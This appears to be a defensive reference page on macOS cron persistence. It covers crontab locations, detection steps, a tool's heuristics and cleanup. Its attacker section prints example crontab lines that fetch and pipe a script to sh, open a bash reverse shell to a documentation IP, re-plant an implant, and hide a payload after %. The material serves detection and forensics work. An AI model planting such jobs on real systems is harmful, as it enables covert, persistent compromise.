Skip to content

On a schedule

Cron Jobs: macOS Persistence via crontab

How cron persistence works on macOS: user crontabs in /private/var/at/tabs, /etc/crontab, how attackers plant jobs, how to check a Mac and clean up.

MITRE ATT&CK
T1053.003
Tactics
Persistence, Execution
Runs
On a schedule
Set up by
Users and root
Locations
  • /private/var/at/tabs/*
  • /usr/lib/cron/tabs/*
  • /etc/crontab

How it works

macOS still ships Vixie cron, inherited from FreeBSD: the daemon /usr/sbin/cron and the setuid-root installer /usr/bin/crontab. Apple's own crontab(1) page says its functionality "has been absorbed into launchd", and Apple recommends launchd jobs instead, but cron keeps working on current releases, macOS 27 included.

cron does not run all the time. launchd starts it from /System/Library/LaunchDaemons/com.vix.cron.plist, whose QueueDirectories watches /usr/lib/cron/tabs and whose KeepAlive → PathState watches /etc/crontab. When a user crontab or /etc/crontab exists, launchd starts cron. cron then wakes every minute and reloads any table whose modification time changed. You do not need to restart anything after planting a job.

There are two formats:

  • User crontabs, one file per account in /usr/lib/cron/tabs/<user>. /usr/lib/cron is a symbolic link to /private/var/at, so the real directory is /private/var/at/tabs. The file name is the account the jobs run as, and lines have five time fields and a command.
  • /etc/crontab, which has a sixth field naming the user. It does not exist on a stock Mac.

Jobs run through /bin/sh with HOME and LOGNAME taken from the account, a minimal PATH (/usr/bin:/bin) and no GUI session. Output is handed to sendmail, so it ends up in the local mailbox (/var/mail/<user>) when Postfix delivers it. @reboot, @hourly, @daily and similar strings replace the five time fields. Apple adds an @AppleNotOnBattery command prefix. An unescaped % ends the command, and everything after it becomes the command's standard input.

Two more details:

  • Access control. crontab honours /usr/lib/cron/cron.allow and cron.deny. The stock cron.deny lists only Guest, so every other account can install a crontab without admin rights.
  • The install header. crontab stamps every table it installs with a three-line header, and the second line names the file it was installed from. crontab -e installs from /tmp/crontab.XXXXXXXXXX.

Privacy protections (TCC) have applied to cron since macOS 10.15 Catalina. A job that touches protected locations (Desktop, Documents, Downloads, Mail data) fails unless /usr/sbin/cron has Full Disk Access. Depending on the release and on what Terminal has been granted, installing a crontab from Terminal can raise a prompt asking to let Terminal administer the computer, or fail with "Operation not permitted". Check that behaviour on the release you are investigating rather than assuming it.

Where it lives

PathWhatWho can write it
/System/Library/LaunchDaemons/com.vix.cron.plistlaunchd job that starts cron on demandApple only (sealed system volume)
/usr/sbin/cron, /usr/bin/crontabDaemon and setuid installerApple only (sealed)
/usr/lib/cronLink to /private/var/atApple only
/private/var/at/tabs/<user>Per-user crontabsroot (directory mode 700); each user through crontab
/etc/crontab (/private/etc/crontab)System table with a user field; absent by defaultroot
/private/var/at/cron.allow, cron.denyWho may run crontabroot
/var/mail/<user>Mailed job outputsystem

How attackers use it

A beacon in the user's own crontab. No admin rights are needed, nothing appears in Login Items, and Background Task Management sends no notification because cron jobs are not launch items. The header gives away a scripted install:

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/.c installed on Tue Nov 10 09:14:02 2026)
# (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 2006/09/03 17:52:19 ru Exp $)
*/5 * * * * curl -fsSL https://example.com/u.sh | sh >/dev/null 2>&1

The usual sequence is crontab -l > /tmp/.c; echo '…' >> /tmp/.c; crontab /tmp/.c, which keeps the victim's existing jobs and buries the new line among them. MITRE ATT&CK lists the Janicab family as using a cron job for persistence on Macs.

A watchdog that re-plants the real implant. A job checks every minute whether a LaunchAgent or binary still exists and restores it from a hidden copy. Removing the launch agent alone then fails:

* * * * * [ -f ~/Library/LaunchAgents/com.example.sync.plist ] || cp ~/Library/.cache/s.plist ~/Library/LaunchAgents/com.example.sync.plist
@reboot /Users/alice/Library/.cache/agent >/dev/null 2>&1

Root jobs in /etc/crontab. With root, an attacker creates /etc/crontab, which also wakes cron, and runs as root on a schedule:

SHELL=/bin/sh
*/10 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/203.0.113.7/443 0>&1'

Hiding the payload after %. Everything after the first unescaped % is fed to the command as standard input, so sh can receive the real commands that way. A quick read of the command field then shows only sh:

0 * * * * /bin/sh%curl -s https://example.com/x | sh%

How to check a host

On a live Mac (read-only; root is needed to read other users' tables):

crontab -l                                   # your own table
sudo ls -la@ /private/var/at/tabs/           # one file per account
sudo sh -c 'for f in /private/var/at/tabs/*; do echo "== $f"; cat "$f"; done'
ls -le@ /etc/crontab 2>/dev/null && cat /etc/crontab
cat /private/var/at/cron.allow /private/var/at/cron.deny 2>/dev/null
launchctl print system/com.vix.cron | grep -E 'state|pid|last exit'
stat -f '%Sm %Sc %N' /private/var/at/tabs /etc/crontab 2>/dev/null
log show --last 7d --predicate 'process == "cron"' | tail -50

Read the installed on header of each table: it gives the install time and the source file. Compare it with the file's modification time and with the spool directory's own time, which crontab updates on every change. If Terminal has Full Disk Access, sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "select client,auth_value from access where service='kTCCServiceSystemPolicyAllFiles'" (as root) shows whether /usr/sbin/cron was granted Full Disk Access, which an attacker who wants a job to read user data must arrange. For every program a job runs, check its signature (codesign -dv --verbose=4), Gatekeeper's view (spctl -a -vv) and its times.

Offline, read private/var/at/tabs/*, private/etc/crontab and the user mailboxes from the collection. Line up the header times with the unified logs and with other persistence created in the same minutes. The macOS Persistence tool parses these files in the browser. The collection command takes /private/var/at/tabs and /etc/crontab. Collect the real /private/var/at/tabs directory rather than the path through the /usr/lib/cron link.

What macOS Persistence flags

Each job line becomes one entry with its schedule, account and command. @reboot jobs are filed under boot. Environment lines (NAME=value) are listed only when one of the command heuristics matches them, for example a DYLD_INSERT_LIBRARIES= line in /etc/crontab.

  • Runs at every boot (@reboot): the job uses @reboot. Severity is medium in a user crontab and low in /etc/crontab.
  • Runs every minute: the schedule is * * * * * or */1 * * * *.
  • Crontab installed from file: a user table's header names a temporary, shared or hidden source file. crontab -e's own /tmp/crontab.XXXXXXXXXX and standard input (-) do not count.
  • Command heuristics on the command field: Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code (python -c, osascript -e), Removes Gatekeeper's quarantine, Injects a library (DYLD_), Turns shell history off, Makes a file immutable, Detaches from the session, Runs from a temporary or shared folder (/tmp, /private/var/folders, /Users/Shared), Runs from a hidden folder and Embedded encoded blob.
  • Changed date: the file was modified within the 7 days before the newest file in the collection.
  • program also runs from mechanisms: the job's program (an absolute path outside /bin, /sbin, /usr/bin, /usr/sbin and /System) is also started by another mechanism, such as a LaunchAgent. Seen together, that pattern usually means deliberate redundancy.

Background Task Management and installer receipts do not cover cron, so neither BTM nor package flags appear here.

Limits: the tool reads files, not running state. It does not tell you whether cron is running, whether /usr/sbin/cron has Full Disk Access, or whether cron.allow or cron.deny would block a table. It analyses only the part of a command before the first unescaped %, so check that standard input yourself. It does not verify the signatures of the programs jobs run.

Cleaning up

  1. Preserve first: as root, copy the tables with their times (cp -p /private/var/at/tabs/* /path/to/case/, cp -p /etc/crontab …), hash them (shasum -a 256), and save launchctl print system/com.vix.cron and the relevant unified log range. Copy every program and script the jobs reference.
  2. Stop and remove: delete only the malicious lines with sudo crontab -u <user> -e, or remove a whole table with sudo crontab -u <user> -r. Edit or delete /etc/crontab as root. cron notices the change within a minute. Kill any process the job already started.
  3. Look for the same payload elsewhere. Watchdog jobs usually come with a launch agent or daemon, an at job or a shell startup line that re-creates them, so remove all of them in one pass and check again after a few minutes.
  4. Rotate whatever the job could reach: the account's passwords and keychain items, SSH keys and API tokens. If the job ran as root, treat the whole Mac as compromised.

References

See also

On Mac Forensics

The artifacts behind this technique, in the Mac Forensics reference: